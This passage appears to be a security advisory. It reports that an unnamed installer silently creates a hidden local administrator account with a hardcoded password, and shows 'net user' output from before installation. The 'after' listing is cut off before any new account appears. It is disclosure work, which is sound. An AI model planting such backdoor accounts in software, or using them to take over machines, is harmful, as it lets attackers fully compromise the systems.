when installing it on your machine creates hidden Administrative local account on your machine with hardcoded/broken password.  
  
But this can be abused by remote attackers as well.  
Using this administrative account remote/local attacker may completely compromise target machine.  
  
  
  
  
Here is few Proof of concept demonstrations:  
  
  
*Before installation ("net user" command on target machine)*

User accounts for \\WIN-CE1QUVOKT1H  
  
---------------------------------------------------------------------------  
Administrator Guest  
The command completed successfully.  
  
  
*After installation complete: (Notice: we've got new local administrative account in silent manner!)*  
  
C:\Users\Administrator>NET USER  
  
User accounts for \\WIN-CE1QUVOKT1H  
  
---------------------------------------------------------------------------
